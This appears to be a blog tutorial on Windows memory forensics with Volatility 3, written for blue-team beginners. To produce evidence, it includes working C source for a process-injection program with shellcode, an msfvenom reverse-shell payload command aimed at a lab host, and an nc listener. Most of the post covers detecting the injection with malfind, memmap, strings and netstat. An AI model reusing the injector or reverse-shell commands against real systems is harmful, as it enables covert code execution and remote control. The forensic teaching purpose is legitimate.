# Basic memory forensics with Volatility. Process injection example.

cocomelonc.github.io/tutorial/2022/02/07/mem-forensics-1.html

February 7, 2022

3 minute read

#### Hello, cybersecurity enthusiasts and white hackers!



This is a result of my own research on memory forensics via the Volatility Framework.

#### memory forensics

Sometimes, after a system has been pwned, it's important to extract forensically-relevant information. RAM is considered volatile - meaning that it doesn't live long. Each time a computer is restarted, it flushes its memory from RAM, which means that, if a computer is hacked and then is restarted, you'll lose a lot of information that tells the story about how the system was compromised by attacker.

### volatility Framework

Volatility is a tool that can be used to analyze the volatile memory of a system. Download and install from <u>here</u>

### practice example

First of all, for simulating malware activity, create <u>classic</u> process injection malware:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// meow-meow messagebox payload (without encryption)
unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";
unsigned int my_payload_len = sizeof(my_payload);
int main(int argc, char* argv[]) {
 HANDLE ph; // process handle
 HANDLE rt; // remote thread
 PVOID rb; // remote buffer
 // parse process ID
 printf("PID: %i", atoi(argv[1]));
 ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
 // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);
 // "copy" data between processes
 WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
 // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
 CloseHandle(ph);
```

```
return 0;
}
```

compile:

x86\_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fnoexceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

	kali@kali:~/projects/cybersec_blo	og/2022-02-07-mem-forensics-1		_ 🗆 ×
File Actions Edit View Help				
kali@kali:~/pr/cybersec_blog 🔳	mc [kali@kalif_shared/work 🔳	kali@kali:~/prem-forensics-1 🛛	kali@kali:~/projects/volatility 🔳	
kali@kali ~/projects/cyberse kali@kali ~/projects/cyberse re/mingw-w64/include/ -s -ffund onstants -static-libstdc+t -sta kali@kali ~/projects/cyberse total 44 -rwxr-xr-x 1 kali kali 40448 Fe -rw-r-r- 1 kali kali 2368 F kali@kali ~/projects/cyberse	ec_blog/2022-02-07-mem-forensics- ec_blog/2022-02-07-mem-forensics- ction-sections -fdata-sections -1 atic-libgcc -fpermissive ec_blog/2022-02-07-mem-forensics- eb 7 13:48 hack.exe eb 7 13:32 hack.cpp ec_blog/2022-02-07-mem-forensics-	<pre>nvim hack.cpp x86_64-w64-mingw32-g++ hac wno-write-strings -Wint-to-poin ls -lt -1</pre>	<u>k.cpp</u> -o <u>hack.exe</u> -mconsole -I ter-cast -fno-exceptions -fmer	:/usr/sha ge-all-c

#### and run:

.\hack.exe 2380



As you can see, everything is work perfectly.

#### winpmem

Secondly, after run our malicious activity, I downloaded winpmem into victim's Windows 7 x64 machine. So, run:

>.\winpmem\_v3.3.rc3.exe --output mem.raw --format raw --volume\_format raw

🐝 win7-x64 [Running] - Oracle VM VirtualBox	_		×
File Machine View Input Devices Help			
		- F	8
Image: Search Documents             Image: Search Documents             Image: Search Documents	5		٩
Organize 🔻 Share with 💌 New folder	: : :	•	0
Administrator: C:\Windows\System32\cmd.exe         C:\Users\qwe\Documents>.\winpmem_v3.3.rc3.exeoutput mem.rawf         lume_format raw         C:\Users\qwe\Documents>dir         Volume in drive C has no label.         Volume Serial Number is FC58-CFDF         Directory of C:\Users\qwe\Documents         02/07/2022 11:06 PM       (DIR)         02/07/2022 11:06 PM       (DIR)         02/07/2022 11:05 PM       (DIR)         12/07/2021 12:19 AM       (DIR)         12/07/2021 12:19 AM       (DIR)         11/24/2021 05:54 PM       (DIR)         26.11.2021       12:30 PM         11/26/2021 07:25 PM       (DIR)         2011.2021       22:30 PM         11/26/2021 07:25 PM       (DIR)         38,912 getaddr.exe       30.11.2021         11/26/2021 08:21 PM       38,912 getaddr.exe         11/16/2021 08:22 PM       40,960 hack.exe         02/07/2022 11:06 PM       (DIR)         2,549,955 winpmem_v3.3.rc3.exe       5 File(s) 1,425,448,761 bytes         8 Dir(s) 1,655,947,264 bytes free       8 Dir(s) 1,655,947,264 bytes free	ormat n-9 11116		
	Netwo No Int	ork ternet acces	5
🚱 🧭 🚞 🖸 🔤 🖕 🛥 🔍 🧭 📜 - 🛯 🕯		。) 11:06 F 。) 2/7/20	PM 22
	🗄 🛛 (	🚫 💽 Right	Ctrl

After finished, move mem. raw file to my attacker's kali machine.

## analyzing Windows memory

### obtaining OS

Obtaining the operating system of the memory dump is pretty easy. The plugin windows.info.Info can be specified to enumerate information about the captured memory dump:

```
python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.info.Info
```



#### analysing processes

Then, I used the windows.pslist.PsList plugin to look at the processes that were running on the victim's computer at the time the memory was captured:

```
python3 ./volatility3/vol.py -f ./cybersec_blog/2022-02-07-mem-forensics-
1/dump/mem.raw windows.pslist.PsList
```

🐞 kali64-2020 [Running] - Oracle VM VirtualB	ox						×
File Machine View Input Devices H	elp						
🔁   💷 🗖 🗀 🔫 v   📧	🗈 kali@kali:~/p	rojects 1	L0:59 PM		🌲 🔳 86	%   🔒	G
	kali@kali:~/projects					_ 0	×
File Actions Edit View Help							
He Actions Edit view Help							Rur
i@kali]/cybersec_blog 🔳	nvim hack.cpp	×	kali	@kali:~/p	orojects	×	<_>_
kali@kali //projects pytho em-forensics-1/dump/mem.raw win Volatility 3 Framework 2.0.0	on3 <u>./volatility3</u> ndows.pslist.PsLi	<u>/vol.py</u> st	-f <u>./cyb</u>	ersec_bl	og/2022-0	<u>02-07-m</u>	Pov KN
Progress: 100.00	PDB scanning fi	nished					Ent
PID PPID ImageFileName	Offset(V)	Inreads	Handles	Session	10	WOW64C	
File System	Tite output						
4 0 System 0×fa800	00ca2720 92	510	N/A	False	2022-02	-07 07:	
09:01.000000 N/A Disable	ed						
304 4 smss.exe	0×fa800251cb10	2	29	N/A	False	2022-0	
2-0/ 0/:09:01.000000 N/A	DISADLED	10	416	۵	Falco	ວດວວ_ດ	Pair
2-07 07:09:04 000000 N/A	Disabled	10	410	U	raise	2022-0	
424 Hor376 wininit.exe	0×fa80024e8060	3	76	0	False	2022-0	
2-07 07:09:04.000000 N/A	Disabled						
436 416 csrss.exe	0×fa80024ea600	9	259	1	False	2022-0	
2-07 07:09:04.000000 N/A	Disabled						
484 416 winlogon.exe	0×fa8002533060	5	115	1	False	2022-0	
2-07 07:09:04.000000 N/A	Disabled	7	200	۵	Falco	2022 0	
2-07 07:09:04 000000 N/A	Disabled	'	209	Ø	raise	2022-0	
544 424 lsass.exe	0×fa80025a1b10	7	724	0	False	2022-0	
2-07 07:09:04.000000 N/A	Disabled			Ĩ.			
552 424 lsm.exe Ø×fa800	0258db10 10	148	0	False	2022-02-	-07 07:	
09:04.000000 N/A Disable	ed						
656 528 svchost.exe	0×fa8002608060	11	359	0	False	2022-0	
2-07 07:09:05.000000 N/A	Disabled	40	100	•	5-1	2022 0	
2-07 07:09:05 000000 N/A	0×Ta80025a6D10 Disabled	13	139	Ø	Fatse	2022-0	
780 528 svchost.exe	0×fa8002658b10	7	260	0	False	2022-0	
_			2 🔟	7019	) 🗗 🛛 🚫	🛃 Right Ct	rl

🗋 kali6	54-2020 [Run	ning] - Oracl	le VM VirtualB	οx				-	– 🗆 X -av-evasion.ma	arkdown	- test -	Visual Stu	dio Code [/	Administrator]		—	D
File N	lachine Vi	ew Input	Devices H	elp			_	807								_	
<u>s</u>				🔄 kali@kali:~/p	projects	11:10 P		1	win7-x64 [Running] - Oracle VM VirtualB	ox					-		×
				kali@kali:~/projects				File	Machine View Input Devices	Help							
File	Actions	Edit V	iew Help					$\mathbf{\Sigma}$	Process Hacker [WIN7PC-x64\qwe]							×	×
	-1-107.02	2022			_			PS	Hacker View Tools Users Help								
ш@кац	FK/U7.02	.2022 💌	l	пушт паск.срр	8		ап@кап:~/		🤹 Refresh 🎲 Options 🛛 🏙 Find h	andles or	DLLs		>>	Search Processes	(Ctrl+K)	Q	
1116	528	spools	sv.exe	0×fa8002851b10	12	287	0		Processes Services Network Disk								
2-07	09:03:41	.000000	N/A	Disabled Avfa80026c9b10	18	200	۵	Mo	Name	PID	CPU	I/O total	Private b	User name	[	)e ^	
2-07	09:03:41	.000000	N/A	Disabled	10	277	v		svchost.exe	2304			9.04 MB		H	Hc 🛛	
1276	528	svchos	st.exe	0×fa80029ecb10	23	320	0		svchost.exe	2580			1.78 MB		H	-lc	
2-07	09:03:41	.000000	N/A	Disabled	0	160	1	ре	svchost.exe	1784			62.07 MB		H	Hc 🛛	
2-07	09:03:51	.000000	N/A	Disabled	,	100	-	PÎ:	Isass.exe	544			3.8 MB		L	.0	
1984	528	sppsvo	.exe	0×fa8002982b10		150	0		Ism.exe	552			2.18 MB		L	.0	
2-07	09:03:51	.000000	N/A	Disabled					4 Csrss.exe	436	0.19		4.72 MB		(	Cli II	
1756	940	dwm.e)	<pre>ke 0×fa800</pre>	0274f700 3	329	1	False		conhost.exe	2688	0.15		2.06 MB	WIN7PC-x64\qwe	. (	c	
1744	1764	exploi	DISdULE Per.exe	0xfa800297d060	36	985	1		conhost.exe	1860			1.32 MB	WIN/PC-x64\qwe	. (	.c	
2-07	09:04:02	.000000	N/A	Disabled					winlogon.exe	484	0.41		2.43 MB	WINTER OF			
1816	1744	VBoxTi	ray.exe	0×fa8001d5c6d0	14	150			a explorer.exe	1/44	0.41	122.0/-	42.89 IVIB	WIN/PC-x04\qwe			
2-07	09:04:02	.000000	N/A	Disabled	•	100	4		BrocersHacker eve	1606	0.02	132 B/S	1.98 IVIB	WINTPC-x04\qwe	· ·		
2-07	1/44	000000	N/A	Disabled	8	402	1			2290	0.25		7.55 MD	WIN7PC-x64\qwe			
1876	528	Search	Indexer.	0×fa80025d0690	13	709	0			2640			35.93 MB	WIN7PC-x64\qwe		Ni -	
2-07	09:04:09	.000000	N/A	Disabled					em cmd.exe	*			5555 1110	mini e sortque			
2112	528	wmpnet	twk.exe	0×fa8002d05560	14	476	0		CDUUL	20.22 MAD	(27.059/)	D	20				21
2-07	528	sychos	N/A	0xfa8002d58b10	9	351	٥		CPU Usage: 1.08% Physical memory: :	579.23 MB	(37.05%)	Processes:	58			æ	100 B
2-07	09:04:10	.000000	N/A	Disabled		001	Č		Windows Madia Diaw								
2380	1744	mspair	nt.exe	0×fa8001b21640	6	119	1		windows Media Playe		<u>_</u>						·]
2-07	09:04:41	.000000	N/A	Disabled	~	100			) 🌔 🚞 💽 🕾	- 6	D) 💊	e 🏨		🔷 😼 🛈 🕯	🖥 🕩	11:10 F	PM CO
2580	528 09:04:41	.000000	N/A	Disabled	0	100	U									2/1/20	
2640	1744	powers	shell.exe	0×fa8000dd29c0		285		Fat	Se 2022-0 -nerocens r	ccu ro				s or 🖉 🗖 🖉 🖻	1 1 1 1 1	<b>y</b> kight	Cal
2-07	09:04:46	.000000	N/A	Disabled					done in 8	.73663	52 se	conds.					
						E (	▯ᄚᄵู่⊔ิ๒	, <b>E</b>	🚺 🚫 💌 Right Ctrl 🔡								

Looking at the list, PID 2380 is mspaint.exe, which is our victim process.

## process injected code

Then for finding hidden and injected code, run:

python3 ./volatility3/vol.py -f ./cybersec\_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.malfind.Malfind

File     Actions     Edit     View     Help       Dx56\x07\xff\xd5\xbb\xee\x1d\x2a\x8a\x41\xba\xa6\x95\xbd     File     Actions     Edit     View     Help       \x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x8a\x84\x5b\xee     File     Actions     Edit     View     Help	, (
Nx56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd File Actions Edit View Help Ny9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0 New Mali@kali:~/pr_em-forensics-1	
🕷 mc   kalı(@kalı  em-forensics-1 🕷 kalı(@kalı :~/prem-forensics-1 🕷 Kalı(@kalı :~/projects 🔯	
\x75\x05\xDD\x47\x13\x72\x6f\x5a\x00\x59\x41\x89\xda\xff	6\x95\xbd 0\x75\xe0 9\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x61\x75 e)\x
<pre></pre>	1
unsigned int my_payload_len = sizeof(my_payload); voltatility 3 + ramework 2.0.0	
PID Process Start VPN End VPN Tag Protection CommitCharge PrivateMemory File o	
Inf main(inf argc, char* argv[]) { HANDLE ph; // process handle	
HANDLE ft; // remote thread 2380 mspaint.exe 0×2050000 0×2050fff VadS PAGE_EXECUTE_READWRITE 1 1 PVDD rb; // remote buffer isabled	þ
// parse process TD 00 00 00 00 00 00 00 00 00 00 00 00 00	
printf("PID: %i", atoi(argv[1])); 00000000000000000000000000000000000	
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv) 00 00 00 00 00 00 00 00 00 00 00 00 00	
// actocate memory birter for remote process 00 00 00 00 00 00 00 00 00 00 00 00 0	
PAGE_EXECUTE_READWRITE);	
ariteriocessmemolyten, to, my_paytoda_ten, Note 2380 mspaint.exe 0×4380000 0×4380fff VadS PAGE_EXECUTE_READWRITE 1 1	)
// our process start new thread ISabled 45 of 5 5 5 4 7 cd 48 94 95 c5 5 4 4	
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINI 11 0a 00 48 8d 0d 1e 10 H	
NULL); 0f 00 4c 8b c7 33 d2 89 L 3	
return 0; 1d fb 0f 0f 00 44 89 35	
89 35 ea 0f 0f 00 e8 4d .5M 45 8d 77 cd 48 8d 05 c5 11 0a 00 48 8d 0d 1e 10 0f 00 4c 8b c7	
33 d2 28 1 df b 0 <sup>4</sup> 0 <sup>4</sup> 09 48 93 5 fc 0 <sup>4</sup> 0 f0 00 44 89 35 fc 0 <sup>4</sup> 0 f0 00 44 89 35 01 10 0 <sup>4</sup> 00 48 89 05 de 0 <sup>4</sup> 0 <sup>4</sup> 00 89 1d ec 0 <sup>4</sup> 0 <sup>4</sup>	)
e e e e e e e e e e e e e e e e e e e	



As you can see, we found memory section which we injected our meow-meow payload.

Then, dump the process memory with windows.memmap.Memmap plugin:

python3 ./volatility3/vol.py -f ./cybersec\_blog/2022-02-07-mem-forensics-1/dump/mem.raw --output-dir ./cybersec\_blog/2022-02-07-mem-forensics-1/dump/ windows.memmap.Memmap --pid 2380 --dump

🔞 kali64-2020 [Running] - Oracle VM Vir	tualBox	_	
File Machine View Input Devices	; Help		
🔁   💷 🖻 🖻 🔫 🖌 🗈	🗈 kali@kali:~/project	ts 🛛 11:17 PM 🗖 🕕 🌲 🗂 7	77% 🗛 🕒 🔽
	kali@kali:~/projects		_ 0 ×
File Actions Edit View H	lelp		
i@kali]em-forensics-1 🗵	nvim hack.cpp	kali@kali:~/projects	≤ < >
0×fa800a286000 0×2453e000 0×fa800a287000 0×2433d000 0×fa800a288000 0×2447c000 0×ffffffd00000 0×100000 0×ffffffd01000 0×105000 0×ffffffd02000 0×101000 0×ffffffd08000 0×1000 0×1 0×ffffffd08000 0×6000 0×1 0×ffffffd08000 0×6000 0×1 0×ffffffd08000 0×0 0×1 0×1 0×ffffffd08000 0×0 0×1 0×1 0×1 0×1 0×1 0×1 0×1 0×1 0×1 0×1	0×1000 0×c6a6000 0×1000 0×c6a7000 0×1000 0×c6a9000 0×1000 0×c6a9000 0×1000 0×c6a9000 0×4000 0×c6a000 000 0×c6b0000 pid. 000 0×c6b1000 pid. 000 0×c6b2000 pid. 000 0×c6b2000 pid. 000 0×c6b4000 pid.	pid.2380.dmp pid.2380.dmp pid.2380.dmp pid.2380.dmp pid.2380.dmp pid.2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp .2380.dmp	<b>dur</b>

# finding strings

The strings command is a popular static malware analysis tool that can quickly assist in extracting human-readable pertaining to a malicious file:

strings -e l ./cybersec\_blog/2022-02-07-mem-forensics-1/dump/pid.2380.dmp | grep -ie
"meow-meow"

🛅 kali64-2020 [Running] - Oracle VM Virtu	ialBox		_				
File Machine View Input Devices	Help				KB4516115 KB4517245		
😫   💶 🗂 🛄 🖣 🖌   🛄	🗈 kali@kali:~/p	projects 11:19 PM		76% 🔒 🕒	KB4524569		
	kali@kali:~/project:	5		_ = ×	KB4528759 KB4580325		
File Actions Edit View He	elp				KB4584229		
i@kali]em-forensics-1 🔳	nvim hack.cpp	💌 kal	li@kali:~/projects	; 🛛 🛛	s) Installed.		
kali@kali -/projects stu /pid.2380.dmp grep -ie "med Meow-moov! Neow-moov! Neow-moov! kali@kali -/projects Home	rings -e l ./cybers ow-meow" File Machin PS H G PS H PS PI:	Sec_blog/2022-02           Running] - Oracle VM V           e View Input Dev           mspaint.exe (2380) Pr           eneral Statistics Per           I Hide free regions           Base address           0x7feffe25000           0x7feffd2000           0x7feffd2000           0x7feffd2000           0x7feffd2000           0x7feffd2000           0x7feffd2000           0x7feffd2000           0x7feffd21000           0x7feffd11f000           0x7feffd11f000           0x7feffd11f000	-07-mem-forensi irtualBox ices Help Results - mspaint 3 results. Address 0x146e10 0x3b5505e 0x4380127	Length 20 20 10 =^^= Meow-meow!	Intel(R) Ethernet Conn Connection Name: Ethern Status: Media Intel(R) Dual Band Win Result Meow-meow! Meow-meow! Meow-meow!	ection I219-L1 het disconnected plass-AC 8260 C X	er ly Ne
	CP	0x7fef8bfd000 0x7fef8bee000 0x7fef8beb000 0x7fef8be8000 0x7fef8be8000 0x7fef82a0000					



#### network connections

Next, I tested a scenario in which a malware or an attacker injects code into an already running process, and only then initiates a connection. Let's go to replace our payload in malware example as msfvenom reverse shell for demo:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.2.6 LPORT=4444 EXITFUNC=thread
-f c
```





For the correctness of the experiment, we will launch our malware and make a memory dump:

nc -lvp 4444	–	
A File Actions Edit View Help	🜃 win7-x64 [Running] - Oracle VM VirtualBox	- 🗆 ×
D 👘 nc -lvp 4444 🛛 🛛 mc [kali@kali]em-forensics	File Machine View Input Devices Help	
D nc-lvp 4444 R mc[kali@kali]em-forensic kali@kali nc-lvp 4444 t listening on [any] 4444 10.10.2.16: inverse host lookup failed: Unknown host connect to [10.10.2.6] from (UNKNOWN) [10.10.2.16] 4933 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights r C:\Users\qwe>	File       Machine       View       Input       Devices       Help         Image: Process Hacker [WIN7PC-x64\qwe]       Image: Process Hacker [WIN7PC-x64\que]       Image: Process Hacker [WIN7PC-x64\que]         Image: Process Periods       Processes Services       Network       Disk       Image: Process Periods       Image: Process	Dnscache Dnscache Dnscache SSDPSRV SSDPSRV SSDPSRV SSDPSRV SSDPSRV SSDPSRV
		•
	CPU Usage: 2.09% Physical memory: 374.61 MB (36.60%) Processes: 39	at
	<	Speakers: 100%
75,3	🚱 🏉 📜 💽 📟 😜 🛥 🧶 🧭 - 🛯	2:26 AM
cop <sup>+</sup> 91L, 4307C written		💷 🔚 💟 🚫 💽 Right Ctrl

	_ <b>-</b> ×
🐝 win7-x64 [Running] - Oracle VM VirtualBox	- 🗆 ×
File Machine View Input Devices Help	
I Process Hacker [WIN7PC-x64\qwe]	
PS PI Hacker View Tools Users Help	
3 PS 😤 Refresh 🎲 Options 🛗 Find handles or DLLs	Search Network (Ctrl+K)
Processes Services Network Disk	
Administrator: C:\Windows\System32\cmd.exe	
C:\Users\que\Documents>dir	
Volume Serial Number is FC58-CFDF	
Directory of C:\Users\qwe\Documents	
02/09/2022 02:31 AM (DIR)	
02/07/2022 11:05 PM (DIR)	03.12.2021 2021-12-06-maluare-injection-9
11/24/2021 05:54 PM (DIR)	24.11.2021
11/30/2021 07:25 PM (DIR)	30.11.2021 setadu avo
11/16/2021 08:10 PM <dir></dir>	ghidra_10.1-BETA_PUBLIC
11/21/2021 02:22 FM 347,143,345 11/23/2021 09:42 PM 40.960	hack.exe
02/07/2022 02:31 HM 1,073,676,288 02/07/2022 11:22 PM i36,172 02/07/2022 02:41:12 PM 2 540 056	mem.raw moneta64.exe
6 File(s) 1,425,584,956	Winpmem_03.3.rc3.exe 3 bytes
8 DIP(S) 1,697,214,46	4 bytes free
C:\Users\qwe\Documents>	
	Wednesday, February 09, 2022
	2:32 AM
	2/9/2022
	🙆 💿 💯 🗗 🌽 🔲 🖳 🕼 🚱 💽 Right Ctrl 🔡

Then run Volatility with windows.netstat.NetStat plugin. This plugin allows you to see the network connections on the machine at the time the memory was captured:

python3 ./volatility3/vol.py -f ./cybersec\_blog/2022-02-07-mem-forensics-1/dump/mem.raw windows.netstat.NetStat | grep -ie "mspaint.exe"



## conclusion

There are still a ton of other plugins that are currently available that I did not mention in this tutorial and the memory sample I were analyzing was a Windows memory dump, because I did not work with the different plugins that target the Linux and Mac operating systems.

I hope this post will be very helpful for entry level cybersec specialists from blue team.

## Volatility3 Classic code injection technique

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! *PS. All drawings and screenshots are mine*